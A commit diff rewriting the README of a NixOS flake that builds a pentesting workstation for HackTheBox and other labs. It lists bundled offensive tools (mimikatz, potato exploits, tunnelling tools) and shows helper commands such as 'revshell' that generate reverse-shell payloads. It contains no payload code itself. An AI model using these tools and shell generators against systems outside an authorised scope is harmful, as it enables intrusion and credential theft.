commit b1cf7609bfd7fad00480e2a6c1e3d4650362f1ea
parent a8f82f03245db414c8ba021505ed47660206fd20
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Sat, 10 Oct 2026 07:59:59 +0100
feat: generic host for any machine, IceBreaker helpers and docs
- hosts/generic: nixosConfigurations.nixdaemon via self.lib.mkHost and one
_settings.nix (user, x86_64/aarch64, efi/bios, vmware/virtualbox/qemu/
hyperv guest tools, niri/xfce/none, toolkit switches); self-contained home
- laptop identity (name, email, GPG key, time zone, weather) gathered in
hosts/laptop/_identity.nix and passed as the `identity` specialArg
- desktop: neutral packages.niri/noctalia for everyone; niri-daemon and
noctalia-daemon keep the laptop's exact build; daemon.desktop.niri.package
- pentest: revshell, htbscan, hcmode (from IceBreaker); htbbox in python with
box.json v2; ~/pentesting arsenal (paths.nix); release pins in assets.nix;
tools: net-snmp, sslscan, testssl, arp-scan, netdiscover, wafw00f, ghauri,
hakrawler, interactsh, haiti, ROPgadget, strace, ltrace, stego trio
- category packages filtered by platform availability (no-op on x86_64)
- README rewritten for the public, with IceBreaker's graphics redrawn;
docs/install.md covers bare metal, every hypervisor, NixOS, tools-only;
the laptop manual moves to hosts/laptop/README.md; gpg cheat de-personalised
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Diffstat:
61 files changed, 3906 insertions(+), 1043 deletions(-)
diff --git a/README.md b/README.md
@@ -1,393 +1,292 @@
<div align="center">
- <h1>☧ NixDaemon</h1>
- <p><em>NixOS + home-manager for the PCSpecialist Valeon II 17: Hyprland in Lua, Caelestia Shell and kitty in Rosé Pine, the dead-GPU-fan workaround, and the hand-written toolbox.</em></p>
-</div>
-<p align="center">
- <a href="https://nixos.org/"><img alt="NixOS unstable" src="https://img.shields.io/badge/NixOS-unstable-9ccfd8?style=for-the-badge&labelColor=191724&logo=nixos&logoColor=e0def4"></a>
- <a href="https://github.com/nix-community/home-manager"><img alt="home-manager" src="https://img.shields.io/badge/home--manager-module-c4a7e7?style=for-the-badge&labelColor=191724&logo=nixos&logoColor=e0def4"></a>
- <a href="https://hypr.land/"><img alt="Hyprland 0.56, Lua config" src="https://img.shields.io/badge/Hyprland-0.56_·_Lua-31748f?style=for-the-badge&labelColor=191724&logo=hyprland&logoColor=e0def4"></a>
- <a href="https://github.com/caelestia-dots/shell"><img alt="Caelestia Shell" src="https://img.shields.io/badge/Caelestia-shell-ebbcba?style=for-the-badge&labelColor=191724"></a>
- <a href="https://rosepinetheme.com/"><img alt="Rosé Pine" src="https://img.shields.io/badge/Theme-Ros%C3%A9_Pine-eb6f92?style=for-the-badge&labelColor=191724"></a>
+<h1>☧ N I X D A E M O N</h1>
+
+<p><em>A declarative NixOS offensive-security workstation, as one flake.<br/>
+The successor to IceBreaker.</em></p>
+
+<a href="docs/install.md"><img src="https://readme-typing-svg.demolab.com?font=JetBrains+Mono&weight=600&size=16&duration=4200&pause=1100&color=CBF7AD¢er=true&vCenter=true&width=760&lines=%24+git+clone+%E2%80%A6%2FNixDaemon+%26%26+nixos-install+--flake+.%23nixdaemon;%3E+one+file+of+settings.+any+machine.+x86_64+%C2%B7+aarch64.;%3E+htbup+%E2%86%92+htbbox+new+%E2%86%92+htbscan+full+%E2%86%92+revshell;%3E+ALL+SYSTEMS+OPERATIONAL." alt="typing: git clone, nixos-install, htbup, htbbox, htbscan, revshell"/></a>
+
+<p>
+ <img src="https://img.shields.io/badge/NIXOS-unstable-c4a7e7?style=for-the-badge&logo=nixos&logoColor=cbf7ad&labelColor=0a0e14" alt="NixOS unstable"/>
+ <img src="https://img.shields.io/badge/FLAKE-dendritic-cbf7ad?style=for-the-badge&labelColor=0a0e14" alt="dendritic flake"/>
+ <img src="https://img.shields.io/badge/ROS%C3%89_PINE-dark-eb6f92?style=for-the-badge&labelColor=0a0e14" alt="Rosé Pine"/>
+ <br/>
+ <img src="https://img.shields.io/badge/x86__64-linux-7ee8fa?style=for-the-badge&labelColor=0a0e14" alt="x86_64-linux"/>
+ <img src="https://img.shields.io/badge/aarch64-linux-7ee8fa?style=for-the-badge&labelColor=0a0e14" alt="aarch64-linux"/>
+ <img src="https://img.shields.io/badge/CATEGORIES-23-c4a7e7?style=for-the-badge&labelColor=0a0e14" alt="23 categories"/>
+ <img src="https://img.shields.io/badge/SMOKE_TESTED-every_category-ffb347?style=for-the-badge&labelColor=0a0e14" alt="every category smoke-tested"/>
</p>
-<p align="center">
- <a href="https://www.zsh.org/"><img alt="zsh" src="https://img.shields.io/badge/Shell-zsh-f6c177?style=flat-square&labelColor=26233a&logo=zsh&logoColor=e0def4"></a>
- <a href="https://github.com/Mic92/sops-nix"><img alt="sops-nix" src="https://img.shields.io/badge/Secrets-sops--nix_·_age-9ccfd8?style=flat-square&labelColor=26233a"></a>
- <a href="https://secretspec.dev/"><img alt="secretspec" src="https://img.shields.io/badge/Runtime_secrets-secretspec-c4a7e7?style=flat-square&labelColor=26233a"></a>
- <a href="https://github.com/viperML/nh"><img alt="nh" src="https://img.shields.io/badge/Rebuild-nh-31748f?style=flat-square&labelColor=26233a"></a>
- <a href="https://jj-vcs.github.io/jj/"><img alt="jj colocated with git" src="https://img.shields.io/badge/VCS-jj_·_git-908caa?style=flat-square&labelColor=26233a&logo=git&logoColor=e0def4"></a>
- <img alt="Chi-Rho" src="https://img.shields.io/badge/%E2%98%A7-daemon--sec-ebbcba?style=flat-square&labelColor=26233a">
+<p>
+ <a href="docs/install.md"><img src="https://img.shields.io/badge/%E2%96%B6_INSTALL-cbf7ad?style=for-the-badge&labelColor=0a0e14" alt="Install"/></a>
+ <a href="#03-daily-ops"><img src="https://img.shields.io/badge/%E2%8C%A8_DAILY_OPS-c4a7e7?style=for-the-badge&labelColor=0a0e14" alt="Daily ops"/></a>
+ <a href="#04-arsenal"><img src="https://img.shields.io/badge/%E2%96%A6_ARSENAL-eb6f92?style=for-the-badge&labelColor=0a0e14" alt="Arsenal"/></a>
+ <a href="docs/install.md#9-when-something-goes-wrong"><img src="https://img.shields.io/badge/%E2%9A%A0_FLATLINE-ffb347?style=for-the-badge&labelColor=0a0e14" alt="Troubleshooting"/></a>
</p>
----
+</div>
+
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
-One flake, one machine: the TongFang GM7RGxM (Ryzen 9 6900HX, Radeon 680M,
-RTX 3070 Ti, 2560×1440@240). Everything the machine is comes from here:
-the kernel modules that keep the dead GPU fan from throttling the CPU, the
-NVIDIA setup for Hyprland, the greeter, the compositor's Lua config and
-keybinds, Caelestia as bar/launcher/lock, kitty with tmux-style keys, zsh
-through the dotfiles checkout, the general tools, and the secrets. Built from
-the vault's `04Tools/NixDaemon-Migration/` material on 2026-10-07.
+<a id="what-is-this"></a>
+<div align="center"><img src="docs/images/headers/00-what-is-this.png" width="800" alt="// WHAT IS THIS"/></div>
-The companion repo is `daemon-sec-dotfiles` (private, same account):
-home-manager links every dotfile from its checkout (`~/git/daemon-sec-dotfiles`)
-into `$HOME`, so editing the checkout edits the live config.
+NixDaemon is a complete pentesting workstation declared in code: every tool,
+every helper script, the desktop, the shell and the theme come from this
+flake. One command builds the whole machine, and the same command rebuilds
+it identically anywhere else. A bad change is undone by booting the previous
+generation.
-## Structure
+It is built for authorised work — HackTheBox, the CPTS path, labs and scoped
+engagements — and organised around that workflow: connect the VPN, open a
+box, scan, enumerate, catch a shell, record it all for the write-up.
```text
-NixDaemon/
-├── flake.nix inputs: nixpkgs (unstable), flake-parts, import-tree, wrapper-modules, home-manager,
-│ hyprland, caelestia-shell, caelestia-cli, llm-agents, sops-nix, nvf
-│ outputs = flake-parts.lib.mkFlake { inherit inputs; } (import-tree ./modules)
-├── .sops.yaml, secrets/ sops-nix: the age recipient and the encrypted secrets file
-├── scripts/wrap.sh turns a plain module file into a flake-parts module (how the tree below was made)
-└── modules/ every *.nix here is a flake-parts module; paths containing /_ are skipped
- ├── parts.nix systems; the home-manager and wrapper-modules flake modules
- ├── hosts/laptop/ the machine — flake.nixosModules.laptop-* and the nixosConfiguration
- │ ├── default.nix flake.nixosConfigurations.nixos = nixosSystem { modules = [ self.nixosModules.laptop ]; }
- │ ├── configuration.nix self.nixosModules.laptop: imports every module below by name; daemon.desktop.* switches;
- │ │ boot, users (zsh login shell), greetd/tuigreet, audio, fonts, portals, nix-ld, LocalSend port
- │ ├── hardware.nix laptop-hardware (nixos-generate-config output, unchanged)
- │ ├── fan-throttle-guard.nix laptop-fan-throttle-guard: vault gpu-fan-fix/, unchanged; fanfix + stability_guard.py beside it
- │ ├── fan-extras.nix laptop-fan-extras: the performance power profile
- │ ├── uniwill-laptop.nix laptop-uniwill: the `uniwill` hwmon the guard reads (uniwill-laptop/_package.nix, sources)
- │ ├── nvidia.nix laptop-nvidia: open kernel module, panel on the dGPU, colon-free DRM names for Hyprland
- │ ├── ssd.nix laptop-ssd: Samsung 980 crypttab + /mnt/ssd
- │ ├── nix-settings.nix laptop-nix-settings: flakes, hyprland.cachix.org, nh + weekly clean, nvd, nom
- │ ├── toolbox.nix laptop-toolbox: envfs, ~/.local/bin first on PATH, padx udev rule
- │ ├── sops.nix laptop-sops: secrets/secrets.yaml → /run/secrets
- │ ├── fan-cli.nix laptop-fan-cli: fan-ec, passwordless sudo for wheel
- │ └── fan-reference/ the Arch-era captures and their README
- ├── features/ shared NixOS features, by name
- │ ├── workstation.nix workstation: Claude Code, Claude desktop, Obsidian, gh, glab
- │ ├── home-manager.nix home-manager: HM as a NixOS module, users.daemonsec = self.homeModules.daemonsec
- │ └── desktop/
- │ ├── options.nix desktop-options: daemon.desktop.hyprland.enable / daemon.desktop.niri.enable (both default true)
- │ ├── hyprland.nix desktop-hyprland: programs.hyprland (uwsm), the GTK portal — gated
- │ ├── niri.nix packages.niri (wrapper-modules: config.kdl from Nix, binds, Rosé Pine) + desktop-niri — gated
- │ └── noctalia.nix packages.noctalia (wrapper-modules: settings.json from Nix, Rosé Pine "Rosepine" scheme)
- │ └── pentest/ the offensive toolkit — one NixOS module per category, all toggleable
- │ ├── default.nix nixosModules.pentest: imports every category below by name
- │ ├── options.nix daemon.pentest.enable + the options no category owns
- │ ├── _sets.nix mkCategory: one package list -> gated module + devShell + smoke check
- │ ├── _aliases.nix suffix-free script aliases, collision-guarded (impacket's net/split/ping)
- │ ├── _impacket.nix impacket + its aliases, shared by python.nix and ad.nix
- │ ├── _overlay.nix the nixpkgs fixes the toolkit needs (python 3.12 anyio), each dated
- │ ├── _pkgs/ pinned derivations for what nixpkgs lacks (SharpCollection, PEASS, potatoes…)
- │ ├── nixpkgs.nix one package set for the system and for the flake's own checks
- │ ├── core.nix recon.nix ad.nix web.nix pivot.nix crack.nix shells.nix
- │ ├── wordlists.nix python.nix bloodhound.nix gui.nix payloads.nix
- │ ├── dfir.nix reversing.nix cloud.nix mobile.nix (off by default)
- │ ├── wireless.nix radio.nix hardware.nix (off; needs hardware)
- │ ├── c2.nix database.nix osint.nix social.nix (off by default)
- │ ├── vpn.nix htbvpn: the HTB tunnel as a systemd template unit
- │ ├── time.nix htb-time: conflict-aware clock skew for Kerberos
- │ ├── htb.nix htbtarget / htbtime: the box you are on, shared across terminals
- │ ├── boxes.nix htbbox: the per-box tree + writeup.md from the vault template
- │ ├── casts.nix htbcast: asciinema recordings as raw write-up material
- │ ├── devshells.nix nix develop #pentest, and the all-category collision check
- │ └── update.nix pentest-update: move the _pkgs pins forward, deliberately
- └── home/ flake.homeModules.* — the user's home
- ├── default.nix homeModules.daemonsec: imports every module below by name
- ├── hyprland.nix Lua config wiring, helper scripts, polkit, cliphist — only with daemon.desktop.hyprland
- ├── caelestia.nix programs.caelestia: shell.json, the CLI with both Rosé Pine schemes — same gate
- ├── terminal.nix kitty: DMMono Nerd Font, Rosé Pine dark, tmux-style ctrl+a keys, Neovim copy mode
- ├── shell.nix zsh wiring (ZDOTDIR → dotfiles, fzf bindings, completions), tmux plugins, secretspec
- ├── dotfiles.nix every dotfile from ~/git/daemon-sec-dotfiles as an out-of-store symlink
- ├── tools.nix toolbox runtime closure, python env, the general CLI tools, `ns` (package search)
- ├── cheats.nix the cheat cards: `nix-cheat` and `gpg-cheat` (cheats/*.md)
- ├── sops.nix sops-nix for the user; sops, age, ssh-to-age
- ├── neovim.nix nvf: Neovim with a small Nix-built plugin set, Rosé Pine
- ├── prompt.nix starship and fastfetch
- ├── fan.nix `fan`: status and watch without root; max/auto with the clamp watchdog
- ├── htb-shell.nix $TARGET/$BOX in every terminal (zsh precmd) and in the prompt
- ├── ssh.nix, gpg.nix, git.nix keys from sops, ~/.ssh/config, gpg.conf, git identity and signing
- ├── media.nix mpd, rmpc, mpv
- ├── yazi.nix, gtk.nix yazi with previews and Rosé Pine; Yaru-purple icons, cursor, prefer-dark
- ├── hypr/*.lua omarchy (shim) · core · looknfeel · defaults · bindings · lid · caelestia
- ├── kitty/, caelestia/, cheats/, gpg/, rmpc/, mpv/, yazi/ the data those modules read
+$ htbup # VPN up, shows your tunnel IP
+$ htbbox new Sauna 10.10.10.175 win easy # box directory + box.json + $TARGET + /etc/hosts
+$ htbscan full # -p- then -sC -sV on what is open → recon/, box.json
+$ revshell ps64 9001 # base64 PowerShell for your tunnel IP
+$ htbbox flag user 3f2a… # status follows: active → user → root
```
-## What runs
+<div align="center"><img src="docs/images/jack-in-flow.svg" width="900" alt="clone → edit _settings.nix → nixos-install → jack in"/></div>
+
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
-| Layer | Choice | Where |
+<a id="00-payload-manifest"></a>
+<div align="center"><img src="docs/images/headers/01-payload-manifest.png" width="800" alt="[00] PAYLOAD MANIFEST"/></div>
+
+| Layer | What you get |
+|---|---|
+| **Toolkit** | 23 categories, each one switch. 12 on by default (the CPTS set): recon, AD, web, pivot, crack, shells, payloads, wordlists, BloodHound CE, Python/impacket, GUI tools, core. 11 more one line away: DFIR, reversing, wireless, radio, hardware, C2, database, cloud, OSINT, social, mobile. |
+| **HTB workflow** | `htbvpn`/`htbup` (OpenVPN as a systemd unit), `htbtarget` (`$TARGET` in every terminal + `/etc/hosts` for Kerberos), `htbtime` (clock skew), `htbbox` (per-box tree and `box.json`), `htbscan`, `revshell`, `hcmode`, `htbcast` (session recording → write-up transcript), `payload-serve` |
+| **Arsenal** | `~/pentesting/` with permanent `$privesc $potatoes $mimikatz $ad $sharp $ligolo $chisel …` variables and `htbpaths` to find things. ligolo-ng, chisel, fscan and pspy cross-compiled from source for every OS/arch; the potato family, SharpCollection, PEASS, mimikatz, static nmap/socat — every download pinned by hash. |
+| **Desktop** | Niri (scrolling Wayland) + Noctalia shell in Rosé Pine, or XFCE for VMs without 3D, or headless + SSH. |
+| **Shell** | zsh, starship prompt with `$TARGET`, fzf, zoxide, kitty with tmux-style keys, Neovim (nvf), yazi. |
+| **Cards** | `pentest-cheat`, `niri-cheat`, `nix-cheat` — the whole workflow in the terminal, section by section. |
+| **Tests** | `nix flake check`: every category's binaries are resolved and run, impacket alias collisions are caught, and NixOS VM tests boot the VPN, target and clock helpers. |
+
+<div align="center"><img src="docs/images/dividers/rose.png" width="600" alt=""/></div>
+
+<a id="01-system-requirements"></a>
+<div align="center"><img src="docs/images/headers/02-system-requirements.png" width="800" alt="[01] SYSTEM REQUIREMENTS"/></div>
+
+| | Minimum | Comfortable |
|---|---|---|
-| Boot, login | systemd-boot · greetd + tuigreet (remembers user and session) | modules/hosts/laptop/configuration.nix |
-| Compositor | Hyprland 0.56 under uwsm, configured in Lua; springy overshoot animations, square corners, blur | modules/home/hypr/, modules/home/hyprland.nix |
-| Shell UI | Caelestia Shell: bar, launcher, dashboard, sidebar, lock, OSD, notifications. Rosé Pine dark, framed bar, 340 px panels | modules/home/caelestia.nix, modules/home/caelestia/ |
-| Second desktop | Niri + Noctalia Shell (Rosé Pine "Rosepine"), both as wrapped packages: `nix run ~/NixDaemon#niri` / `#noctalia`. Pick the session in tuigreet; `daemon.desktop.{hyprland,niri}.enable` in configuration.nix drop one | modules/features/desktop/ |
-| Terminal | kitty, DMMono Nerd Font, Rosé Pine dark, `ctrl+a` tmux-style prefix, copy mode in Neovim | modules/home/terminal.nix |
-| Shell | zsh as login shell; config = the dotfiles' `~/.dotfiles` tree (autosuggestions, syntax highlighting, fzf-tab, zoxide, atuin). Prompt and fetch are Nix-managed | modules/home/shell.nix, prompt.nix |
-| Dotfiles | symlinked from `~/git/daemon-sec-dotfiles/home` | modules/home/dotfiles.nix |
-| Editor | Neovim via nvf: treesitter, LSP, blink completion, telescope, oil, gitsigns, which-key, Rosé Pine | modules/home/neovim.nix |
-| Tools | uv, nodejs, btop, yazi, lazygit, tmux, ripgrep/fd/fzf/bat/eza, delta, tldr, LocalSend, … | modules/home/tools.nix |
-| Secrets | sops-nix (age) for the repo; secretspec (keyring) for projects | modules/hosts/laptop/sops.nix, modules/home/sops.nix, shell.nix |
-| GPU | NVIDIA open module, panel on the RTX; Aquamarine told the GPUs by colon-free udev symlinks | modules/hosts/laptop/nvidia.nix |
-| Fan | `fan-throttle-guard`: 3.2 GHz floor, EC auto fan, `uniwill` hwmon from a 6.19 driver. `fan` command: status, watch, max/auto with a clamp watchdog | modules/hosts/laptop/fan-*.nix, uniwill-laptop/, modules/home/fan.nix |
-| Pentest | 23 toggleable categories (`daemon.pentest.<category>.enable`, every one listed in `configuration.nix`): recon, AD, web, pivoting, cracking, shells, wordlists, payloads, BloodHound, GUI on; DFIR, reversing, wireless, radio (SDR/BT/RFID), hardware (JTAG/flash/CAN), C2, database, cloud, OSINT, social, mobile off. Tools go to `environment.systemPackages`, so `sudo nmap -sS` works. Every category carries a smoke check: `nix flake check` | modules/features/pentest/ |
-| HTB workflow | `htbvpn up/down/list` (systemd template unit), `htbtarget` (shared across terminals via zsh precmd; writes `/etc/hosts` for Kerberos), `htbtime` (clock skew, restores exactly what it changed), `htbbox new -n <box> -i <ip> -d <difficulty> -o <os>` (gum prompts when bare; scaffolds recon/enum/creds/loot/exploit/serve/casts + `box.json` + `writeup.md` rendered from the vault's Templater template), `htbcast` (asciinema v3 session recording → `txt` transcript for an agent, `gif` preview via agg), `payload-serve` (binds the tunnel only, refuses when the VPN is down), `pentest-cheat` | modules/features/pentest/{vpn,time,htb,payloads}.nix |
-| Payloads | `$PAYLOADS`: Windows x64/x86, Linux amd64/arm64 and macOS arm64. ligolo-ng and chisel cross-compiled from source; mimikatz (two versions), the potato family, SharpCollection's 102 C# tools and PEASS pinned by hash | modules/features/pentest/payloads.nix, _pkgs/ |
-| Nix | flakes, Hyprland cache, `nh` with weekly `clean all --keep 5 --keep-since 14d` | modules/hosts/laptop/nix-settings.nix |
-
-## Setting it up
-
-### Day to day (this machine)
+| CPU | x86_64 or aarch64 | 4+ cores |
+| RAM | 4 GB | 8–16 GB |
+| Disk | 60 GB | 100 GB |
+| Firmware | UEFI or legacy BIOS | UEFI, Secure Boot off |
+| Runs on | bare metal · VMware · VirtualBox · QEMU/KVM · Proxmox · UTM · Parallels · Hyper-V | |
-```sh
-nh os switch # build, nvd diff, sudo, activate; = sudo nixos-rebuild switch --flake ~/NixDaemon#nixos
-nh os boot # same, but activate on next boot (kernel / driver changes)
-nix-cheat # the full card: rebuild, remote, nh, home, search, update, rollback, clean, …
-nix-cheat nh # one section
-ns kitty # fuzzy search nixpkgs + NixOS/home-manager options, with descriptions
-pentest-cheat # the offensive toolkit card: htb, recon, ad, pivot, transfer, crack, web, dfir
-pentest-cheat ad # one section
-nix flake check # every pentest category's smoke check, plus the VM tests
-nix develop ~/NixDaemon#pentest # the whole toolkit without installing it
-```
+On aarch64 everything works except BloodHound CE (switched off for you) and
+the `mobile` category. Only want the tools on an existing Linux or WSL? See
+[Path C](docs/install.md#5-path-c--just-the-tools-any-linux-wsl).
-home-manager is a NixOS module here, so one rebuild does both; there is no
-separate `home-manager switch`. New files must be `git add`ed before nix sees
-them (the repo is jj, colocated with git; `nix-cheat repo`).
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
-### From the repo, without a checkout
+<a id="02-installation"></a>
+<div align="center"><img src="docs/images/headers/03-installation.png" width="800" alt="[02] INSTALLATION — ANY MACHINE"/></div>
-The repo is private, so the reference is the ssh form:
+The full walk-through — partitioning, every hypervisor, an existing NixOS,
+first boot, troubleshooting — is **[docs/install.md](docs/install.md)**.
+The short version, from the NixOS minimal ISO with your disk mounted at
+`/mnt`:
```sh
-REPO='git+ssh://git@gitlab.com/DAEMON-404/NixDaemon.git'
-sudo nixos-rebuild switch --flake "$REPO#nixos"
-nh os switch "$REPO"
-nix flake show "$REPO"
-```
+nix-shell -p git
+git clone https://gitlab.com/DAEMON-404/NixDaemon.git /mnt/home/operator/NixDaemon
+cd /mnt/home/operator/NixDaemon
-### Fresh install
-
-1. Boot the NixOS live ISO, partition and mount at `/mnt`; generate
- `hardware-configuration.nix` with `nixos-generate-config --root /mnt` and
- compare it with `modules/hosts/laptop/hardware.nix` (UUIDs).
-2. `git clone git@gitlab.com:DAEMON-404/NixDaemon.git && cd NixDaemon`, paste
- the generated file's body into `modules/hosts/laptop/hardware.nix` (inside
- the `flake.nixosModules.laptop-hardware =` wrapper). Do not drop a raw
- `hardware-configuration.nix` into `modules/`: import-tree would load it as a
- flake-parts module and evaluation would fail.
-3. `sudo nixos-install --flake .#nixos`, reboot, log in at tuigreet, pick
- **Hyprland (UWSM)** once.
-4. Clone the dotfiles to `~/git/daemon-sec-dotfiles` (the links in
- `modules/home/dotfiles.nix` point there) and the toolbox to `~/.local/bin`.
-5. Restore the age key to `~/.config/sops/age/keys.txt` and copy it for the
- system (see Secrets), then the Samsung SSD key (below).
-
-### The staged migration this repo was built for (2026-10-07, done)
-
-History, kept as a record. Stage A (`#bootstrap`, built from `nixpkgs-stable`)
-no longer exists: the dendritic rewrite of 2026-10-08 removed it, so none of
-the `#bootstrap` commands below work any more.
-
-**Stage A: fan fix now, on the GNOME install.** Small switch (fan module,
-driver, toolbox prerequisites, Hyprland cache). The new kernel modules only
-load from the booted system, hence the reboot.
+nano modules/hosts/generic/_settings.nix # user, arch, boot mode, VM, desktop, categories
+nixos-generate-config --root /mnt --show-hardware-configuration \
+ > modules/hosts/generic/_hardware-configuration.nix
-```sh
-sudo nixos-rebuild switch --flake ~/NixDaemon#bootstrap && sudo reboot # or: nh os switch -H bootstrap
+nixos-install --flake .#nixdaemon && reboot
```
-First-boot check (vault README and gpu-fan-fix/README.md):
-
-```sh
-fanfix status # cap 3200 MHz · boost 1 · profile performance · fan line present
-sudo fanfix fan status # fan-abnormal=1 is expected; universal-fan-ctrl / custom-tables show the live EC path
-fanfix test 30 # all-core stress: expect 0 throttle events, peak < 75 °C
-systemctl status motherboard-stability fanfix-fan fanfix-performance-profile
-cat /run/motherboard-stability/status.json # limit_mhz 3200, thermal_stage 0, board_gpu_c and main_fan_rpm present
+Everything about *your* machine is in those two files. `_settings.nix` looks
+like this:
+
+```nix
+{
+ user = "operator";
+ hostName = "nixdaemon";
+ system = "x86_64-linux"; # or "aarch64-linux"
+ boot = "efi"; # or "bios"
+ vm = "none"; # vmware | virtualbox | qemu | hyperv
+ desktop = "niri"; # xfce for VMs without 3D, none for headless
+ pentest = { dfir = false; reversing = true; wireless = false; … };
+}
```
-`fanfix status` will say "cap is not persisted": on NixOS the floor is the
-`systemd.tmpfiles.rules` line in the module, not `/etc/tmpfiles.d/99-cpu-freq-cap.conf`.
-Treat `fanfix install` / `uninstall` / `fan setup` as no-ops here; change
-`capKhz` in the module instead (gpu-fan-fix README). `fanfix-fan` is expected
-inactive: its manual fan mode makes the EC clamp all cores to 399 MHz under
-load; EC auto fan with the 3.2 GHz floor passed `fanfix test 30` at 61 °C.
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
+
+<a id="03-daily-ops"></a>
+<div align="center"><img src="docs/images/headers/04-daily-ops.png" width="800" alt="[03] DAILY OPS"/></div>
-**Stage B: the desktop.**
+**The machine**
```sh
-sudo nixos-rebuild boot --flake ~/NixDaemon#nixos && sudo reboot # or: nh os boot
+nh os switch -H nixdaemon # rebuild after an edit: diff, sudo, activate
+nix flake update && nh os switch -H nixdaemon # update everything
+sudo nixos-rebuild switch --rollback # undo the last rebuild (or pick a generation at boot)
+nh clean all --keep 5 # free disk (also runs weekly by itself)
```
-tuigreet appears on tty1; pick `Hyprland (UWSM)` once, it is remembered.
-Then the keybind diff against the vault capture:
+**An engagement**
```sh
-hyprctl binds -j | python3 -I -c 'import json,sys
-M={1:"SHIFT",4:"CTRL",8:"ALT",64:"SUPER"}
-for x in json.load(sys.stdin):
- print(x.get("submap",""),"|","+".join(n for v,n in sorted(M.items()) if x["modmask"]&v),"|",x["key"],"|",x.get("description",""))' | sort > /tmp/binds.new
-cut -d'|' -f1-4 ~/git/NetrunnerVault/04Tools/NixDaemon-Migration/shortcuts/keybinds.txt | sort | diff - /tmp/binds.new
+htbup # VPN (profiles in ~/.config/htb/vpn/)
+htbbox new EscapeTwo 10.10.11.202 win medium sequel.htb dc01.sequel.htb
+htbscan full # nmap into $BOXDIR/recon, ports into box.json
+htbtime # fix Kerberos clock skew against the DC
+revshell bash # payload on stdout, the listener to run on stderr
+hcmode kerb # which hashcat -m?
+htbbox cred sql_svc 'P@ss' mssql # record as you go
+htbbox info # the box card: ports, creds, flags, notes
+htbcast -n foothold # record the terminal for the write-up
```
-Expected differences: the keycode binds (workspaces, resize, bar panels,
-group windows) show `code:0` in the capture and an empty key here; the keys
-caelestia.lua takes over carry their Caelestia descriptions; the stock
-Obsidian and YouTube lines are gone because vault-open and bakx own those
-keys; the two webcam-overlay binds were not carried (keycodes unknown).
+`pentest-cheat` has all of it; `pentest-cheat ad`, `pentest-cheat pivot` …
+print one section.
-`hosts/bootstrap/` and the `nixpkgs-stable` input were deleted on 2026-10-08.
+<div align="center"><img src="docs/images/dividers/rose.png" width="600" alt=""/></div>
-**Samsung SSD key** (vault samsung-ssd.md, section 2; needs the gpg passphrase):
+<a id="04-arsenal"></a>
+<div align="center"><img src="docs/images/headers/05-arsenal.png" width="800" alt="[04] ARSENAL — CATEGORIES"/></div>
-```sh
-cd ~/git/NetrunnerVault/04Tools/NixDaemon-Migration
-sudo mkdir -p -m 700 /etc/secrets
-gpg -d --pinentry-mode loopback ssd.key.gpg | sudo tee /etc/secrets/ssd.key >/dev/null
-sudo chmod 400 /etc/secrets/ssd.key
-sudo systemctl restart systemd-cryptsetup@ssd.service mnt-ssd.mount # or just reboot
+<div align="center"><img src="docs/images/arsenal-map.svg" width="900" alt="arsenal map: the twelve default categories and the eleven optional ones"/></div>
+
+Each category is one file in `modules/features/pentest/` and one switch
+(`daemon.pentest.<name>.enable`, set from `pentest = { … }` in
+`_settings.nix`). Tools go into the system profile, so `sudo nmap -sS` and
+`sudo responder` just work. `nix develop .#pentest-<name>` gives you any
+category in a throwaway shell without installing it.
+
+<div align="center"><img src="docs/images/dividers/phosphor.png" width="600" alt=""/></div>
+
+<a id="05-adding-removing"></a>
+<div align="center"><img src="docs/images/headers/06-adding-removing.png" width="800" alt="[05] ADDING & REMOVING PACKAGES"/></div>
+
+**Into a toolkit category** — add the attribute to the category's `packages`
+list, and its binary name to `expectedBins` so `nix flake check` proves it
+installed:
+
+```nix
+# modules/features/pentest/web.nix
+packages = pkgs: with pkgs; [
+ ffuf gobuster feroxbuster
+ wafw00f # ← new
+];
+expectedBins = [ "ffuf" "gobuster" "feroxbuster" "wafw00f" ];
```
-Until then the drive stays locked; both units are `nofail`, so boot is
-unaffected. The sops way: `sops set secrets/secrets.yaml '["ssd.key"]' "\"$(gpg -d ssd.key.gpg)\""`,
-then `sops.secrets."ssd.key".path = "/etc/secrets/ssd.key";` in modules/hosts/laptop/sops.nix.
-
-## The shell
-
-zsh is the login shell (modules/hosts/laptop/configuration.nix) and its configuration is
-the dotfiles checkout's `home/.dotfiles` tree, reached through a Nix-managed
-`~/.zshenv` that sets `ZDOTDIR=~/.dotfiles` (modules/home/shell.nix). The
-plugins (autosuggestions, syntax highlighting, zsh-completions, fzf-tab,
-history-substring-search, you-should-use) are the copies vendored in that
-tree; starship, zoxide, atuin and fzf come from nixpkgs. Edit
-`~/git/daemon-sec-dotfiles/home/.dotfiles/config/*.zsh` and open a new shell.
-
-Things the shell modules want that this build provides: `~/.fzf.zsh` (fzf's
-key bindings from the store, core.zsh only knows the Arch paths), the tool
-configs linked into `~/.config` by dotfiles.nix (bat theme, atuin, crossfetch
-for the splash animation, cheats, eza, btop, yazi, lazygit, carapace, and the
-rest of the checkout's .config; the starship prompt and the fastfetch card are
-Nix-managed in modules/home/prompt.nix), `~/.tmux.conf` with
-its plugins from nixpkgs behind a TPM stand-in, and the binaries modern.zsh
-aliases (btop, dust, duf, procs, delta, tldr, hyperfine, glow, onefetch,
-lazygit, yazi, neovim). Not carried: `mise` (its downloaded runtimes
-duplicate nixpkgs; `nix-ld` is on so `uv`'s managed Pythons work), and the
-repo's git config (it turns on commit signing with a key that is not on this
-machine; `~/.gitconfig` stays).
-
-## The dotfiles
-
-`modules/home/dotfiles.nix` mirrors `~/git/daemon-sec-dotfiles/home/` into
-`$HOME` with out-of-store symlinks: editing the checkout edits the live
-config, and a rebuild is only needed to add or remove a path in the list.
-The header of that file names what is deliberately not linked (hypr and
-kitty are Nix-managed, the omarchy trees, the systemd units, mimeapps,
-git's signing config, the bash rc files, `.claude`/`.codex`, the toolbox
-`bin` directories) and why.
-
-## The toolbox
-
-`~/.local/bin` is the vault's `bin/` copied flat and `git init`ed (remote
-`gitlab` → `DAEMON-404/daemon-bin`, not pushed). NixOS puts it first on PATH
-and envfs resolves the `#!/bin/bash` and `#!/usr/bin/python3` shebangs.
-`install.sh` there reports the environment. Notes:
-
